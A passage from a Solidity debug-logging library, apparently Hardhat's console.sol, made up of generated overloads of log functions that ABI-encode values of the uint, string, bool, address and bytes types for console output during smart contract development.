_sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, 